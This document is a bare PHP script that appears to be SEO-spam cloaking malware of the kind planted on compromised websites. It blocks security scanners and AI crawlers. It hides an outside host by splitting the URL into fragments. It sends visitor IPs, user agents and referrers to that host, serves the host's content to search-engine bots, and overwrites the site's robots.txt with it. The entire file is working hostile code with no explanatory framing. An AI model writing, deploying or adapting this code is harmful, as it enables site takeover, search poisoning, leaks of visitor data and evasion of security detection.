<?php $bagent = "Docomo|Google|Yahoo|Bing"; error_reporting(0); function writeToFile($path, $contents) {  $file = fopen($path, "w");  if ($file) {  fwrite($file, $contents);  fclose($file);  return true;  }  return false; } $refer = urlencode(@$_SERVER['HTTP_REFERER']); if(preg_match("/(Claudebot|Scrapy|bytespider|Feedly|Python|digExt|AhrefsBot|OBot|SemrushBot|Heritrix|EasouSpider|python-urllib|AmazonBot|Ezooms|YandexBot|swiftbot|zmEu|Go-http-client|ChatGPT|Barkrowler|YySpider|indy Library|DotBot|PetalBot|CoolpadWebkit|DataForSEO|feedDemon|Searchbot|GPTBot|CensysInspect|SeznamBot|yisouSpider|Python-requests|Java|Jaunty|Mj12bot|lightDeckReports Bot|AskTbFXTV|JikeSpider|paloaltonetworks|ApacheBench|UniversalFeedParser|httpClient|crawlDaddy)/i", $_SERVER['HTTP_USER_AGENT'])) {  header('HTTP/1.0 403 Forbidden');  exit(); } $language = urlencode(@$_SERVER['HTTP_ACCEPT_LANGUAGE']); $ip = $_SERVER['REMOTE_ADDR']; $uagent = urlencode($_SERVER['HTTP_USER_AGENT']); if (isset($_SERVER['HTTP_CLIENT_IP'])) {  $ip = $_SERVER['HTTP_CLIENT_IP']; } elseif (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {  $ip = $_SERVER['HTTP_X_FORWARDED_FOR']; } $domain = urlencode($_SERVER['HTTP_HOST']); $script = urlencode($_SERVER['SCRIPT_NAME']); $vtdy='com/';$kcme='h';$wcko='ttp://zd0';$xbsc='9.fourfine.';$jhux='6';$rhztp=$kcme.$wcko.$jhux.$xbsc.$vtdy; $pc = "UwlaDQq"; $ip = urlencode($ip); if ((!empty($_SERVER['REQUEST_SCHEME']) and $_SERVER['REQUEST_SCHEME'] == 'https') or (!empty($_SERVER['HTTPS']) and $_SERVER['HTTPS'] == 'on') or (!empty($_SERVER['SERVER_PORT']) and $_SERVER['SERVER_PORT'] == '443') or (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) and $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https')) {  $_SERVER['REQUEST_SCHEME'] = 'https'; } else {  $_SERVER['REQUEST_SCHEME'] = 'http'; }  function readFromFile($path) {  $file = fopen($path, "r");  if ($file) {  $contents = fread($file, filesize($path));  fclose($file);  return $contents;  }  return false; } $http = urlencode($_SERVER['REQUEST_SCHEME']); $uri = urlencode($_SERVER['REQUEST_URI']); if(strpos($uri,"shasha") !== false){echo "ok";exit();} $sha = 0; $shaFilePath = "sha.txt"; if(!is_file($shaFilePath)) {  $uuu = $http.'://'.$_SERVER['HTTP_HOST'].'/shasha';  $yecl = @file_get_contents($uuu);   if($yecl === "ok") {   $sha = 1;   writeToFile($shaFilePath,"1");  } else {   $sha = 0;   writeToFile($shaFilePath,"0");  } } else {  $sha = readFromFile($shaFilePath); }  if(strpos($uri,"favicon.ico") !== false) { } else if(preg_match("@^/(.*?).xml$@i", $_SERVER['REQUEST_URI']) or strpos($uri,"robots.txt") !== false or strpos($uri,"0723") !== false or preg_match("/($bagent)/i", $_SERVER['HTTP_USER_AGENT']) or preg_match("/($bagent)/i", @$_SERVER['HTTP_REFERER'])) {  $requsturl = $rhztp."?agent=$uagent&refer=$refer&lang=$language&ip=$ip&dom=$domain&http=$http&uri=$uri&pc=$pc&rewriteable=$sha&script=$script";  $robots_contents = "";  $yecl = @file_get_contents($requsturl);  if(empty($yecl)) {   $ch = curl_init();   curl_setopt($ch, CURLOPT_URL, $requsturl);   curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);   curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);   curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);   curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);   $yecl = curl_exec($ch);   curl_close($ch);  }  if(!empty($yecl)) {   if(substr($yecl,0,10)=="error code" or $yecl == "500" or strpos($yecl,'Bad Gateway')!==false) {    header("HTTP/1.0 500 Internal Server Error");    exit();   }   else if(substr($yecl,0,5)=="<?xml") {    header('Content-Type: text/xml; charset=utf-8');   } else {    header('Content-Type: text/html; charset=utf-8');   }   echo $yecl;   if(!empty($robots_contents)){writeToFile("robots.txt",$robots_contents);}   else if(strpos($uri,"robots.txt") !== false){writeToFile("robots.txt",$yecl);}   exit();   return;  } }else{ } ?>